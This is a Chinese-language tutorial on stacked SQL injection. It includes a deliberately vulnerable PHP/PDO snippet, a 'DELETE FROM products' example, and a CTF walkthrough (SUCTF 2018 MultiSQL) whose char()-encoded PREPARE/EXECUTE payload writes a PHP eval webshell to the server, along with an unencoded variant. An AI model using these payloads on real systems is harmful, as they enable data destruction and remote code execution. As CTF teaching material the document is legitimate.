原理

0x00 堆叠注入定义

Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。

0x01 堆叠注入原理

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为: Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

具有堆叠注入的php代码实例

header("Content-Type:text/html;charset=utf8");

try{

$con=new PDO("mysql:host=localhost;dbname=security","root","root");

$con->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);

$id=$_GET['id'];

$stmt=$con->query("select * from users where id='".$id."'");

$result=$stmt->setFetchMode(PDO::FETCH_ASSOC);

foreach ($stmt->fetchAll() as $k => $v) {

foreach ($v as $key => $value) {

echo $value;

}

}

$dsn=null;

}

catch(PDOException $e){

echo "查询异常!";

}

$con=null;

?>

实例

下面我们拿一个实例来,打开https://buuoj/challenges#[SUCTF%202018]MultiSQL

看到的是这样一个页面

BWVS 这是在恶搞AWVS吗

注册

登陆

改成1

测试注入

fuzz测试后发现过滤了union,select ,&,|,过滤了select然后存在堆叠注入的可以使用预处理注入,尝试写入shell,因为过滤了select等字符,使用char()绕过,需要执行的语句

select '<?php eval($_POST[_]);?>' into outfile '/var/www/html/favicon/shell.php';

使用脚本编程十进制:

str="select '<?php eval($_POST[_]);?>' into outfile '/var/www/html/favicon/shell.php';"

len_str=len(str)

for i in range(0,len_str):

if i == 0:

print('char(%s'%ord(str[i]),end="")

else:

print(',%s'%ord(str[i]),end="")

print(')')

运行结果

char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59)

1

payload:

?id=2;set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59);prepare query from @sql;execute query;

如果没过滤select 可以这样

?id=1' ; select '<?php eval($_POST[_]);?>' into outfile '/var/www/html/favicon/shell.php

Id=1'之后执行下一个语句 select '<?php eval($_POST[_]);?>' into outfile '/var/www/html/favicon/shell.php 即加木马写入服务器中,能多次执行sql语句是堆叠注入的本质

Hackbar查看flag

上面设计到Prepared函数的使用,下面是他的用法

Prepare 介绍

Prepared Statements很像存储过程,是一种运行在后台的SQL语句集合,我们可以从使用 prepared statements 获得很多好处,无论是性能问题还是安全问题。

Prepared Statements 可以检查一些你绑定好的变量,这样可以保护你的程序不会受到"SQL注入式"攻击。当然,你也可以手动地检查你的这些变量,然而,手动的检查容易出问题,而且很经常会被程序员忘了。在性能方面,当一个相同的查询被使用多次的时候,这会为你带来可观的性能优势。你可以给这些Prepared Statements定义一些参数,而MySQL只会解析一次。最新版本的MySQL在传输Prepared Statements是使用二进制形式,所以这会使得网络传输非常有效率。

2、PREPARE语法语法:PREPARE statement_name FROM sql_text /*定义*/ EXECUTE statement_name [USING variable [,variable...]] /*执行预处理语句*/ DEALLOCATE PREPARE statement_name /*删除定义*/ 示例mysql> PREPARE prod FROM "INSERT INTO table1 VALUES(?,?)"; mysql> SET @p='1'; mysql> SET @q='2'; mysql> EXECUTE prod USING @p,@q; mysql> SET @name='3'; mysql> EXECUTE prod USING @p,@name; mysql> DEALLOCATE PREPARE prod;

更多推荐

sql注入过滤select_SQL注入高级进阶-堆叠注入